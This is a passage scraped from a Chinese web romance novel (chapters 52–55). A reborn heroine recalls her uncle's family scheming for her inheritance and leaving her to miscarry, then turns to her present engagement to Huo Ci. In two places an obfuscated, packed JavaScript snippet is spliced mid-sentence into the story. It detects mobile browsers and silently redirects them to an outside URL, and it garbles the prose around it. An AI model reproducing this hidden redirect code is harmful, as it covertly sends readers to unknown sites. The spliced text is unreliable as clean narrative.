他右手紧紧捏着拳头,作势要大发雷霆,瞪着冯秀英、钟荔荔母女俩骂,“你这个冲动的妇人,怎么能只顾偏袒自己的女儿?姿儿虽说不是我俩亲生,但她跟在我们身边这么多年,和亲生女儿也没有两样。钟荔荔背叛姐姐,不顾人伦亲情,我支持姿儿向单位举报,让这不要脸的臭丫头长个教训。” “钟腾!”冯秀英惊叫一声,被钟腾抬手阻止了接下来的话。 他走到宁姿身边,握起她一只手温和地拍了拍,“姿儿,你舅妈是关心则乱,不是故意的。这件事舅舅给你做主,你怎样决定,舅舅都支持。” 钟荔荔见父亲不站在她那边,哭得更凶了。冯秀英心疼女儿,一边安抚一边跟着掉眼泪,“就算是荔荔不对,也不需要把事情做绝呀!荔荔还那么年轻,名声被毁了,下半辈子怎么活?如果我的荔荔有什么事,我也不活了,干脆我死向宁姿赔罪吧!” 母女二人哭作一团,钟腾叹息连连,霍亦辰只是冷眼旁观。宁姿面临这喧杂的场面,内心在进行一场激烈残酷的拔河,一时之间举棋不定。 后来所有人都沉默了,霍亦辰去阳台抽烟,冯秀英继续抱着钟荔荔悉心安慰。钟腾满脸愁苦开解宁姿,“孩子,想开些,舅舅永远都是你的家人,是你坚强的后盾。不论如何,你的身体最重要。” 宁姿身心俱疲,浑身发软,小腹莫名酸疼,大概是哭太久的缘故,眼睛仿佛有一团火在烧,火苗直蹿进心里,痛彻心扉。 “你的脸色不太好,先回房间休息一会儿,吃过晚饭咱们大家再心平气和地继续谈话。”钟腾温言道。 她还张口想说话,钟腾摇头制止,“别逞强,你的脸色很难看,不要让舅舅为你担心。” 宁姿忍不住又掉了眼泪,艰难点头,脚步发软地朝卧室走去,期间因为身子重、脚步绵软,差点跌倒。好不容易回到房间,整个人躲进被子里闷声哭泣。眼眶发疼,满腔悲哀,无助地蜷在床上,雪白的床单上很快氤氲开一大团深色。 哭声止住,裹在身上的被褥却无比冰冷,即便濒临崩溃,一想到舅舅这么大年纪还要为犯下错事的女儿担忧,她实在于心不忍。 拿纸巾抹去泪水,下床走出去,最终下定决心,就算再恨霍亦辰和钟荔荔,为了抚养自己长大的舅舅、舅妈,她始终无法狠下心赶尽杀绝。 宁姿穿着拖鞋,脚步虚浮,落音很轻,走到走廊拐角处时,站在窗边谈话的钟腾夫妇并没察觉她的到来。 冯秀英一把扯住钟腾的袖子,目露凶光,“你在发什么疯?荔荔可是你的亲生女儿,你竟然顺着那个死丫头的意思要把自己的女儿往火坑里推!” 钟腾满脸心虚往四周张望,宁姿下意识避到墙后,他又回过头瞪着面前的妻子,压低嗓门说:“你小声点说话。” “怕什么?宁姿那死丫头一副随时要咽气的样子,肯定要哭哭啼啼好一会儿,昏死过去也不一定。再说,现在霍少爷的心思全在我们荔荔身上,红鼎轩也掌握在我们手里,还怕她宁姿做什么?”冯秀英不屑得很。 钟腾不同意她的说法,“话是这么说,但宁姿没有签过转让协议,我还在找机会。” “找机会?”冯秀英嗤笑一声,“磨磨蹭蹭、拖泥带水,还要等多久才有机会?你不会是心疼自己的外甥女吧?赶快清醒一点,荔荔可是你的亲生女儿。” “这是什么话?我做的哪件事不是为了你和荔荔,为了我们这个家?”钟腾也急了,“虽说红鼎轩内部的那群老狐狸一直是我喂着,全都拥戴我,不会服宁姿,但为了稳妥起见,多一事不如少一事,能智取就别硬来。” “智取?等你智取还要等多久?我家荔荔都等成老姑娘了,再说现在事情闹成这样,宁姿起了心思非要弄死我家荔荔不可。荔荔要受伤害,我跟你们没完!”冯秀英吼完不算,嘴里还骂骂咧咧的。 钟腾被她气得不轻,“还好意思说,都怪你太娇惯,荔荔才这么草率沉不住气。忍了这么多年,怎么偏偏这个节骨眼上高调行事让宁姿抓了现行?简直是个蠢货。” “你才是个蠢货!那是我们女儿等不及了,她要逼霍亦辰和宁姿离婚,因为她肚子里有了霍亦辰的孩子。”冯秀英厉声驳斥。 此时此刻,犹如一团巨大的阴云从天穹落下,将宁姿覆盖在昏暗中,脑海中“嘭”的一声闷响。她险些直接昏过去,慢慢一呼一吸,努力平复凶猛的痛意。 钟腾也讶异万分,“这是什么时候的事?你们怎么不告诉我?” “发现没多久,还不是怪你一直偏袒宁姿,荔荔对你这个父亲没信心,不敢告诉你。”冯秀英埋怨。 他脱口而出,“你们实在是糊涂,我怎么会不向着自己的亲生女儿?对宁姿,我只是为了她父母留下的遗产和红鼎轩才跟她做戏。” 冯秀英哼了声,“谁知道你心里究竟在想什么,一直以来,每一次荔荔和宁姿闹矛盾,你总是站在宁姿那边把荔荔骂得狗血喷头,孩子不信任你也正常。” 钟腾骂道:“愚昧,每一回都是荔荔坑害宁姿,她是受了骂,但哪一次真正吃了亏?” 冯秀英“哦”了一声,恍然大悟道:“你的意思是先故意顺着宁姿让她消气,然后大事化小,小事化了,实际上是为了我们荔荔好?” “这猪脑袋总算是想明白了。”钟腾没好气,“但荔荔既然怀孕了,就不能多等。” “你打算和宁姿摊牌?” 钟腾摇头,“现在还不是时候。这样,你现在去做一桌好菜,晚上我们坐在餐桌上谈话,不论我说什么,你们母女两个都不许反驳,全答应就是了。” 冯秀英不放心,“你会说什么?” “废话,当然是让霍亦辰和宁姿各自冷静,分居一段时间。荔荔由你带回去管教,务必让她在宁姿面前痛哭流涕表示真心反省。至于我就留在这里照顾她。” 冯秀英撇嘴,“你倒有爱心。” 钟腾眉头一凛,“说你是猪脑,你别不服气。宁姿身体本来就不好,因为这事伤了心,我就是她唯一的亲人、唯一的依靠。我表现出一副为她做主的样子,等她完全信任依赖,再找个机会以让她安心养身体为由,签订红鼎轩转让合同。” 冯秀英双眼一亮,“那当然好,但她真肯签?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941336|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “总得试一试,哄或骗。等拿到她的亲笔签名再去找霍亦辰谈离婚的事,到那时他也没什么理由不答应了。” 冯秀英听了,表情得意,“我家荔荔模样标致,人又优秀,还怀了他们霍家的孩子,自然是要做霍夫人的。” “宁姿,你在干什么?”刚从后方走来的钟荔荔惊呼一声,宁姿也不必再藏,走了出去。 眼前模糊之际,她发现她从没看清面前这些人真正的面目。钟腾和冯秀英同时惊恐地瞪大眼,尤其是钟腾,厚实得像香肠的两片嘴唇诡异地支起,筋挛般抖了几下,“你……你听到了?” 这时阴雨散去,天空讽刺一般出了太阳。而女人虽处阳光中,被光线镀了一层明亮的轮廓,苍白的皮肤近乎透明,内心如同烈火炙烤,整个人前所未有隐隐透出一股阴翳之气。 她转回身一把钳住钟荔荔的胳膊,把她粗暴地拖到身边来。钟荔荔吓得“啊”地惊叫一声,本能地想挣脱,却不想宁姿忽然力气大得离谱,她的皮肤被压得胀痛,根本挣不开,无奈只能尖叫道:“你想干什么?你疯了吗?” “我没疯,疯的是你,是你们……是你们这些披着人皮的恶鬼。”宁姿离她极近,漠然道,“钟荔荔,你怀孕了吗?” 钟荔荔无端觉得恐惧极了,扭头去望自己的父母。宁姿下了狠劲掐她的肉,直掐到青紫,加重语气,“说啊!你怀了我丈夫的孩子吗?” 钟荔荔吓破了胆,两臂挥动,反而被抓了几道红痕,推搡间还跌撞在墙角,痛得五官挤作一团。此刻的宁姿和平时不一样,异常得令她想要尖叫,又喊不出声。 “在……这里?” 宁姿缓慢伸手想触碰钟荔荔的腹部,吓得她一动不敢动,瞳孔发颤,口中不断呼喊着,“妈,妈!救我!” 冯秀英忽然像一头发了狂的野兽,冲上前抓打宁姿,强行把钟荔荔从她手中扯出来。宁姿下了死劲,在钟荔荔的胳膊上留下四道血淋淋的抓痕,痛得她当场哭嚎起来。 “拿我女儿撒气?我打死你个贱人!”冯秀英用力奔上前,怒极凶恶,挥手就要扇打宁姿的脸。 宁姿冷笑一声,侧身避过,随后两步跨到钟荔荔面前。此刻钟荔荔已愕然得忘记了哭泣,傻眼地看着她。只听“啪啪”两声脆响,两记巴掌落到钟荔荔脸上,脸颊当即肿起来,又红又辣,活像一颗猪头,紧接着两股红色的液体从鼻端流了下来。 宁姿淡笑,“这样的人才叫贱人,该打啊。” 冯秀英见女儿又被打了,气得牙齿咬得嘎嘣响,身体僵硬得像刚脱模的石膏像,连钟腾都忍不住大喊“住手”。冯秀英突然扑过来,把钟荔荔牢牢抱在怀里,嘴里叫嚣,“我告诉你,我女儿可怀孕了,出点什么事,我要你死!” 宁姿忽然转身看向钟腾,两眼空洞,似乎没有聚焦,“舅舅,你想要红鼎轩,你女儿想要霍夫人的位置……” 钟腾眉心挤出沟壑,表情僵硬。宁姿眼中寒芒微露,眸光乍然间变得异常犀利,直勾勾盯着他,“红鼎轩我要收回去,还要彻查一遍,该走程序走程序,该起诉就起诉,该报警就报警。就算某些人不服我也行,卖掉也无所谓。总之不能让我父母的产业落到你们这些人手里,成为肮脏的工具。” 钟腾张嘴,又在她逼人的目光下不得不闭嘴。 “至于霍夫人的位置……我本来想离婚,现在嘛……不让。”宁姿目光冷冷射向钟荔荔的腹部,钟荔荔吓得往冯秀英怀里缩。宁姿郑重喊了一声,“亲爱的表妹,你的孩子生不生,随你,反正生下来也是个没身份的野种。” “你……”钟荔荔如同被人捏住喉咙,哑声道。 冯秀英站直,身上微微颤抖,“钟腾,你看见了吗?你的好外甥女才是最残忍、最恶毒的!” 女人虽在赤明日光下,可满身散发着冰冷戾气,“舅舅、舅妈、表妹,咱们一家人就这样一直纠缠下去吧,直到烂在泥里,到时再一起去我父母跟前磕头认错。” 53. 第五十三章 一股莫名吹来的冷冽寒风肆意从半开的窗户涌入,在走廊里穿过。面色苍白的女人发丝被掀得凌乱,眼眶深红。她双手捂嘴,不能自抑地干呕,一颗泪珠从眼眶跌落,呜咽道:“我错了,活得好糊涂,给爸妈丢人了,不如咱们一块儿下地府给他们二位赔罪吧。” “疯子,我看她是真疯了!”冯秀英被她这副样子震慑到,低声说。 宁姿忽然笑了下,感知似乎在慢慢消失,慢悠悠朝冯秀英、钟荔荔母女二人走去。明明她看起来骨瘦如柴,像是被风一吹就会倒,但莫名让人恐惧,冯秀英不敢再叫嚣,搀着钟荔荔往钟腾身后躲。 “她现在是真疯了,什么事都做得出来,我们先走。”听了钟腾的话,母女二人如梦初醒,互相搀扶着朝客厅跑去。 “呃……”宁姿忽然痛呼一声,抬起头,眼中含泪,表情凄然无比。 钟荔荔转回头看,惊讶道:“血……她流血了。” 只见宁姿身上纯白的长裙被一团刺目的红染色,如同暗夜绽放诡谲无比的曼珠沙华,而可怖的血流还顺着她的腿内侧流向脚踝。她痛苦地捂住腹部,骤然倒地,失去行动能力的她不可抑制地颤抖起来,低喃道:“救命……” “天呐,这是流产的迹象,她也有孩子了!”冯秀英看明白情况,惊呼道。 “孩子……”宁姿低喃一声。 是了,例假推迟,疲乏身重,胃口不佳,本以为是太过伤心,没想到是怀孕了。她后悔粗心,此刻所有怨恨消散,心中只剩下一件事—— “救……我的孩子。”她满头冒着虚汗,手向空气抓去,指关节用力。 钟荔荔无措地问:“打电话叫救护车吗?” 钟腾立刻一手按住她的肩,制止道:“不要急,想清楚再说。” “发生什么事了?”霍亦辰走来,见到宁姿蜷缩在地上痛苦的样子,惊呼道,“宁姿!” 只见她的血染红了大片衣裙,淌向地面,他瞳孔一震,“她这是怎么了?快打电话叫救护车。” 说完,他大步向前迈去,打算抱起宁姿,被钟腾抬手拦住,“考虑清楚再说,不要冲动。宁姿打算收回红鼎轩,还要彻查。” 听到这句话时,因为太过心虚紧张,霍亦辰不自觉后退一步。一时间所有人都沉默了,钟荔荔心绪难平,望了望父亲又看了眼霍亦辰,“我们现在该怎么做?” 钟腾一面垂下手,一面喃喃道:“她是自己跌倒的,情况非常危险,而我们发现不及时。” 冯秀英愣住,“这能行吗?” “有什么不行?怪只怪她自己不小心。”钟腾深呼吸后继续说,“红鼎轩的危机会彻底解除,我们每个人想要的都会实现。” 钟荔荔呆在原地,两眼愣愣地看向霍亦辰,冯秀英艰难点头。霍亦辰惊异地望着钟腾,一句话也说不出来,屋里静得连落根针都能听见。 此时宁姿蓬头散发,衣裙狼狈,眸中尽是祈求的光亮,哑着声音哀求道:“孩子……救命。” “孩子……”霍亦辰突然看着妻子,有些发怔,下意识推开钟腾要去抱她。 钟荔荔如梦初醒,冲到他面前,双手抓住他的袖口,小声地说:“流了那么多血,孩子肯定保不住了。不要伤心,我们也有孩子,是我和你的孩子。” 霍亦辰接连受到冲击,人都傻了,视线干巴巴地移到她脸上。钟荔荔迅速扑到他怀里,抱住他的腰,哭泣道:“别过去,我们才是相爱的,只要没有她,我们会是最恩爱的夫妻。” 而宁姿的目光死死锁在霍亦辰身上,眼见他犹豫踌躇,最终颤颤地低下头,原本抬起的手也缓缓落下。她拼尽最后一股气力挣扎,痛苦的感觉逐渐消失,只剩下冰冷与麻木,甚至已经感觉不到身体的存在,唯有怨恨与苍凉显得无比真实。她的眼睛眨也不眨,在刺眼的光线里,她琥珀色的瞳眸宛如落入了烟尘,暗芒涌动。 想把这些人丑恶的嘴脸深深铭刻入心里,不要忘记,绝不忘记……直到堕入漆黑无比的深渊。 · 风拂过树丛,发出沙沙细鸣,宁姿从回忆中抽离,望着坠入水面的残破花瓣,不知会被水流裹挟去往何方,犹如命运的无常,此时的岸边显得尤其空旷而寒冷。 宁姿穿着一身米白色大衣,长发披肩,神色冷静而理智,不似回忆中的画面那样破碎与脆弱。她以第三人称视角平淡讲述上一世那段痛彻心扉的经历,隐去重生部分,像在单纯描述一个悲剧。 此时,面对自己曾深恶痛绝的人,捡起过往破碎的回忆,她意外地发现内心不再似从前那般沉重,反而多了份轻松,原来轻舟已过万重山。 良久后,霍亦辰的声音乍然响起,“你想说什么?我不是故事里的那个男人,你也不是那个悲惨的女人。” 宁姿淡笑,“我知道,我当然知道,现在的我和你都不再是故事里的人。” 霍亦辰凝视她那双美丽的琥珀色眸子,艰难抿唇。宁姿迎着寒风,淡然而决绝,“那个故事离现在的我们看似遥远,其实并不远,因为它在我的心里。每个人都要遵循内心的启示,寻找自己的方向,才能心安理得。否则心是乱的,不舒服、紧迫,日子就难过了。” “你不信任我,仅仅是为了一个故事,这个理由让我怎么接受?”霍亦辰争辩,似是急了,“是不是我保证绝不会那样对你,你也不肯信?” “信与不信不重要,重要的是我早已做出了选择。” “霍辞?”他微微低头,神情复杂地看着她,目光既不甘又愠怒,“你不过是先决定和他订婚,再慢慢培养感情。而一开始选择订婚对象时,你就对我存有偏见。” “这话不对,我从很早以前就知道他,事实上是我想和他订婚。”宁姿反驳。 霍亦辰目光惊愕,钝钝地追问:“为什么?你是怎么认识他的?难道你喜欢他?” “对,我喜欢他,费尽心思要嫁给他,现在算得偿所愿。”她态度十分坦然,“所以今天这种事,希望以后都不要再发生。我和你说清楚后,只是未来叔母和大侄儿的关系,不必亲近,相互尊重就好。” “不,我不同意。”霍亦辰黑下脸。 宁姿脾气也上来了,“你这人是怎么回事?说话不算的?你说过想要个理由,现在这个理由我给你了。” “可我没说过知道理由后我就会放弃,况且这个理由我根本不可能接受。”霍亦辰看见她急于摆脱自己,像摆脱苍蝇一样嫌弃,顿时气血翻涌。 宁姿的耐心算是被彻底耗尽了,“懒得和你多说,让开,我要回去了。” 她刚走一步,霍亦辰跟着移动,挡在她面前,逼得她抬眼看他。 “你不可以这样对我。”他像山一样挡在面前一动不动。 “为什么不可以?”宁姿轻声道,双目灼灼如骄阳,“因为没有资格?霍亦辰,你打从心底里看不起我。扪心自问,如果一开始我就和其他人一样顺从你、仰慕你,你还会认为自己喜欢我吗?” 他怔愣住,这个问题他没有想过。 “这个世界不是围绕你一个人转 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“你怎么会……”见到霍辞,霍亦辰表情十分惊诧,随后反应过来,望向宁姿的目光入了神,夹杂着隐怒。 霍辞松开宁姿,气势汹汹上前,一拳砸在他的脸上,只听“嘭”的一声闷响,打得他朝一旁栽倒。霍辞面色一凛,“霍亦辰,看在你父亲、我兄长的面上,我对你一再忍让,这一回,你碰到我的底线了。” 霍亦辰跌跌撞撞爬起来,仿佛豁出去了,索性几步走到霍辞面前,发出嘶喊,“她明明应该是我的未婚妻!” 随后举拳朝霍辞脸上砸去,却被对方精准接住拳头,反手又是一拳把他砸得后退几步,右边脸颊发红,明显鼓起。 “什么都是你的,母亲的关爱与器重、霍家的一切都是你的,唯独她不是。她不是你的,也不是我的,是她自己的。”霍辞的手指本白皙修长,此时却已关节泛红,可想而知用了多大力。 霍亦辰嘴角冒出血珠,但好似感觉不到,吊起一边唇梢冷笑,“从小到大,你什么都不如我,只要有我在,你就暗淡无光,显得特别可怜。现在好不容易被你抓住机会凌驾在我之上,你好得意,敢在我面前大放厥词了,心里很痛快吧?” “我的确曾自卑,也真心实意仰慕过,但对象是大哥。至于你,算什么东西?” 霍辞的嗓音比风寒冷,目光宛如刀锋般刮过他,令霍亦辰骤然暴怒,“你说什么!” 宁姿将手指插入霍辞的指缝中,与他十指紧扣。霍亦辰的目光落在他们的手上,满脸伤痕、发丝凌乱,衣服也发皱歪斜,狼狈不堪。 宁姿直接忽略霍亦辰,向霍辞轻声耳语,满心满眼只有他一人,“回家吧,我肚子饿了。” 霍辞紧了紧相握的手指,毫不客气地威胁霍亦辰,“这是最后一次对你容忍,没有下次。” 青年男人的掌心有一种灼热干燥的微微粗粝,紧贴女孩柔嫩的肌肤,他在她手背缓缓抚摸了下,随后牵紧她,朝路边走去。 奇怪的是这一路上他脚步匆匆,半句话都没和宁姿多说。方才看她的眼神柔情又关切,现在却好像结了层霜,侧脸轮廓冷硬。 直到上了车,两人分别在正副驾驶座坐好,宁姿觉得气氛诡异,随口起了个话题,“这里的樱花开得挺好。” “的确,和其他男人来这里赏樱花,挺浪漫的吧?”霍辞语气不咸不淡。 宁姿听出了一丝酸意,愣了一下,忍不住转头,正好撞上他撞过来的视线。 54. 第五十四章 车外,行人稀少,偶有路过的只顾裹着大衣埋头赶路,今日实在风大。这个片区的建筑不像城中心高耸密集,平房之上是大片天穹,不远处的烟囱冒出弯曲的烟雾,几乎与层云连成一色,这些全被隔绝在车窗之外。 车内,霍辞定定地看着宁姿,看得她心一紧,慌忙说:“你别冤枉人,我是被强行拉来的,况且是我通知的你,难道你都忘了吗?” 话说完,又讨好卖乖地一笑,“你能找到我,真是有本事,难道是传说中的心有灵犀?” “少来这一套,就算不是你甘愿跟那小子幽会,也该怪你招蜂引蝶。”霍辞依日没搭理她递来的台阶,自己冷哼一声。 宁姿假装急了,“你这话说得太没道理,我避他都来不及,哪里招惹他了?这是偏见,是对我的污蔑。” “没污蔑你,就算不是你的本意,但生成这副样子,实在不安全。”他振振有词。 宁姿实在被他给气笑了,“你骂我是红颜祸水?” 他承认得很爽快,“对,至少祸害了我。” 她终于觉出点意思,“你是不是就想和我吵一架?简直是欲加之罪,何患无辞。” 霍辞叹了口气,“就让我跟你吵一架吧,刚才你的位置说不清楚,我只知道大概方向,一路上找过来,心里急也要急死了,现在还乱得很。” 宁姿双眼直勾勾盯着他,伸出白嫩的小手贴在他的胸口,“这里是不是?别怕,别慌,平静下来,我在这里,安然无恙。”她的语气像哄孩子一样温柔。 霍辞双眸一暗,一把按住她的手背,“真是个妖精,无时无刻不在撩拨人,真想把你藏起来。霍亦辰有句话说错了,他说我好不容易抓住一次机会凌驾在他之上,其实他不知道,我心里也怕得很。” 这句轻飘飘的话像落入湖面的小石子,原本安宁的水面忽泛起一圈圈涟漪,惹得她忍不住翘起唇角,“怕什么?你不信我?” 霍辞摇头,“信,但还是慌,还是怕,你说是不是见鬼了?” “那是你太在乎,太在乎就会患得患失。” 宁姿替她答疑,反而惹得他更不满,“那你一直这么游刃有余,是不在乎我?” 宁姿微微一叹气,“坏家伙,又冤枉人。我也在乎,你做生意忙碌,穿梭于商场里那种三教九流、龙蛇混杂的地方,少不了诱惑。虽然我信你,也难免生出心慌的情绪。” “我怎么不知道?”霍辞有些懵。 宁姿斜乜了他一眼,“故意藏着,不让你发现,免得失去魅力。” 霍辞一把将她拖进怀里,心里也不平静了,不止是生出涟漪,简直澎湃着,下颌抵住她的额顶,“可我怎么觉得,反而更有魅力了?” 宁姿乖巧地趴在他的怀里,仰起脸瞧他,“不生我的气了?” “我是无理取闹,这你也纵着我?”霍辞低头看她,慢悠悠地拖着尾调。 宁姿哼唧了两声,笑道:“自己的未婚夫就得自己宠。” 霍辞眼尾上挑,稍显风流,“霍亦辰是从什么时候开始骚扰你的?” 宁姿语塞,踌躇着不知该从哪里说起。 霍辞叹了一口气,“从我们订婚开始,他对你的表现就不清白。怪我不够细致,没察觉你受到他的纠缠。” “这怎么能怪你呢?是我没有告诉你,再说,也就是最近他才变得这么烦人。”宁姿抢白。 霍辞凝视她,微微凑近,“其实霍亦辰在你的眼里是很特殊的吧?” 宁姿心一动,忽的瑟缩了下,有种被撞破的局促感。这令霍辞肯定了心中的想法,“你总夸我心细,或许是从小的际遇让我无法像其他男人一样粗略,反倒处处留心,察言观色更是发自本能。我能看得出,他对你来说不一般,你是非常在意他的。” 宁姿往他身边挪了一点,隔开一丝小缝隙,“那你倒是说说看,为什么我在意他,却不肯和他订婚?” 霍辞沉默半晌,漆深的眼眸染上一抹温柔,“我答应过,有些事你不愿意说,我就不多问。” 宁姿抬手轻抚他的脸,直视道:“我以前的确认识霍亦辰,不否认对他的品性有一定程度的了解,在意他是为了避开他,绝对不是因为感情,这是实话。” 霍辞表情松懈许多,“我信你,其实你一直以来的行为已经说明了一切,我都有留意,看在眼里,但还是愚蠢的难受了。” 她娇气地将双手搭在他的脖子上,笑说:“我喜欢你这样,在外面精明强干,对我却不一样,蠢一点也好,吃醋、耍脾气也好,我都喜欢。” 随后又垂眸,淡声说:“只是你别怪我,霍亦辰毕竟是你大哥的儿子。我原本以为这件事能自行解决,也是我太自大了。” “你知道我和母亲关系不好,怕我和霍亦辰闹开,更惹母亲讨厌,在家里更无法立足,全是为我考虑。”霍辞深深吸气后,正色道。 “你处处以我为先,细致体贴,我为你考虑不是应该的吗?”她又小声道,“最终还是没顺利解决,反而成了这局面。” 霍辞双臂紧紧抱住女孩,“我早已下定决心,不让你像从前那样谨小慎微地生活,要让你活得肆意又自在,成为你的避风港,守护你,让你依靠。” 宁姿面色微红,“是我不好,这话你说过,我还是忍不住自己逞强。” “我们都不要再责怪自己。明天我会抽空回霍家一趟,把这件事告诉母亲,让她压制霍亦辰。” “你要去见霍伯母?我和你一道去。”她接话道。 “不放心我?”霍辞慢悠悠地伸手捏了下她的粉颊,“你牵扯在这件事里,一起去反而局面尴尬,不如我一个人去说清楚。” 她还是担心,“霍伯母偏心,霍亦辰又是个狡猾的,如果他颠倒黑白……” “就算母亲不信我,也会多留个心眼,霍亦辰至少会消停些,不敢太明目张胆。至于我,受两句奚落责骂也没什么大不了,早就是家常便饭。”霍辞安慰道。 宁姿不乐意,嘴唇微颤,低声言语,“撒谎,哪有人习惯这种事。” 霍辞又揉了揉她的额发,“别愁眉苦脸的,不是说饿了吗?想吃什么?” 宁姿想了下,微笑道:“你亲手煮的鸡蛋面。” “我的小未婚妻这么容易满足?”霍辞笑看着她。 女孩暖褐清澈的大眼弯了弯,柔美纯粹,不含丝毫媚态,却美得令人移不开目光,惹得他心如涟漪难以平静,忍不住捏起她的下巴在她饱满的唇面上重重啄了一下,低道:“也不怪这么多人惦记,我可得更有危机意识。” 宁姿眼睛泛着雾蒙蒙的水光,神情懵懂又娇羞,把脸靠在他的肩头。 后来,霍亦辰没再出现在宁姿面前,日子仿佛恢复了往日的平静,除去多了些旁人的闲言碎语。 不久后又得到另一个好消息,宁姿获得了“文化创意设计大赛”的优秀作品奖学生组一等奖,这份奖项的含金量很高,颇受校方重视,在校内大礼堂举办了隆重的嘉奖典礼。一起获奖的还有同班的文成,因此叶丽佳、董筱提议一起聚餐当作庆祝。 放学后,四人找了间中餐馆吃饭,没想到叶丽佳搞事情,喊了一箱酒。 “我的酒量真的很差。”宁姿连连推拒。 叶丽佳不买账,“别这样,咱们都是成年人,吃饭不喝酒,总感觉少了点什么。今天你也是主角之一,不许推辞。” 宁姿好说歹说,最后还是被灌了些酒,不久后面颊绯红、神色迷离,人坐着也有些偏倒。 文成是里面最清醒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976296|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对宁姿说:“等会儿,我送你回家吧。” 宁姿还没开口回答,叶丽佳抢话道:“刚才我听到宁姿打电话,她未婚夫要来接她。” 宁姿懵懂地点头承认。叶丽佳对文成安排上了,“你还是送董筱吧,她醉得不轻。” 文成看向趴在桌上迷迷糊糊的董筱,点头答应。 这时,宁姿放在桌面上的手机震动起来,她扫了眼来电显示,是霍辞,顿时一个激灵,接通电话后“嗯嗯哦哦”了几声,努力克制自己,生怕被他察出破绽。 然而,霍辞太过敏锐,在电话里问:“怎么鼻音那么重?” “有吗?没有的事。”此地无银三百两的宁姿说完,匆匆挂断电话。 与此同时,坐在车里的霍辞听见手机里传来的忙音,心里猜出了个大概,微微翘起唇角。 包间内,宁姿突然站起身,像雨后茁壮冒出的春笋一样突兀,“霍辞来接我了,先走一步。” 董筱完全醉得不省人事,叶丽佳兴奋地朝宁姿挥手。文成见宁姿走路是向东三步,又向西三步,无奈叹了一声。忽然,她左右脚一绊,眼看就要栽倒,文成赶紧跨步上前,手都伸出去了,她又不知怎么的站稳了。文成不放心道:“我陪你走到门口。” 霍辞刚停下车就透过玻璃看见一男一女从餐馆大门走出来,女生走得东倒西歪,男生跟在后面,一只手挂着她的外套和小包,另一只手抬起又落下,始终没碰到她,一直紧张关注着。 霍辞黑眸盯着这一幕,迅速下车走到文成面前,接过宁姿的包和外套,礼貌道:“好久不见,麻烦你了。” 文成见是霍辞,点了下头,“下次见。”随后向餐馆里走。 宁姿本是迷迷糊糊地埋头走路,乍然抬眼间扫到一副冷冰冰的面孔,长眉高鼻,黑眸清冷,她下意识想掩盖自己喝酒的事,拔腿要跑,不想被敏捷的霍辞提住后衣领,跑不掉。 “想去哪里捣蛋?”他问。 宁姿只好转过身露出一排洁白的牙齿傻笑,“好巧啊,你怎么也在这里?”她的脑袋实在短路了,说的也是傻话。 霍辞又好气又好笑,上前把厚外套替她穿上,过程中她一直不舒服地扭动。霍辞非常坚决,最后把拉链严丝合缝地拉到下巴上才罢休,热得宁姿不满地嘟起嘴。看她这样像只生气的小企鹅,霍辞忍俊不禁,“想不想在周围走一走,吹吹风?” “好啊!”宁姿开心地抬起一边手臂,被他伸手捉了下来,握住她的手。 二人行走在霓虹灯带洒下的光辉中,才走出一小段路,她脚步绵软,走不动了。霍辞温柔地凝视她,“我们回车上去,好吗?” 宁姿孩子气地摇头,“闷得很。” 霍辞低低一笑,慢条斯理地走到她身前忽然将她背了起来。宁姿讶异地轻呼一声,随后乖巧地趴在他背上。霍辞背着她走,脚步稳健。 “小时候,爸爸也常这样背着我。”宁姿嘟囔。 霍辞声线温柔,“想他了?” “嗯。”她闷闷答一声,把脸贴在他宽阔的肩头。 “过世的亲人会化作星星守护你。”他脸上挂着温柔的微笑。 宁姿赶紧仰起脸望天,欣喜地抬手指着,“有一颗星星,会是谁呢?我爸爸还是妈妈?或者是你的爸爸,还是大哥?” “不论是谁,都是爱我们、祝福我们的人。” 听了他的话,宁姿笑得像软绵绵、甜丝丝的棉花糖,然后揽住他的脖项,心里像灌满了温泉水一样暖和,忽然埋下脸,在他衣领露出的脖侧啄了一下。 触感滚烫,霍辞像触电般浑身一震,顿下脚步,咳了两声,掩饰地咽了咽嗓子,苦笑道:“宁姿,你是真的很坏。” 宁姿只顾埋在他的肩头痴痴地笑。 55. 第五十五章 夜空忽然洒下细细密密的雨丝,虽然不大,但在早春的夜里显得尤为寒凉,不小心钻入衣领,冻得宁姿缩起脖子,颤了下。霍辞赶紧背她赶回车上,打开空调热风后,捉过她的一双小手贴在掌心,“冷坏了吧?凉成这样。”随后将她的手放在唇边,呵了口热气,又搓了搓。 她垂下眉梢盯着他甜甜地笑道:“眉骨立体分明,是宏伟壮阔的圣彼得大教堂;鼻骨挺直,像埃菲尔铁塔一样直入天际。你的眼睛是凡尔赛宫,所有华丽与辉煌都藏在其中。” 霍辞哑然失笑,“我的脸成世界著名建筑的集合体了?” 宁姿笑着顺势侧靠在椅背上,情态娇憨可爱。霍辞把座位往下调了调,让她能睡得更舒服,然后脱下大衣外套,盖在她身上。 回家的路上,宁姿陷入香甜的梦乡,梦里她回到了幼年时期,爸爸、妈妈带她去澳洲旅游。景点处游客太多,小个子的宁姿被人群挡在后面,什么都看不见,爸爸就把她抱起来架在脖子上看。小宁姿双眼一亮,笑得露出洁白小巧如米粒的牙齿。妈妈在旁温柔道:“姿儿看,是悉尼歌剧院。” 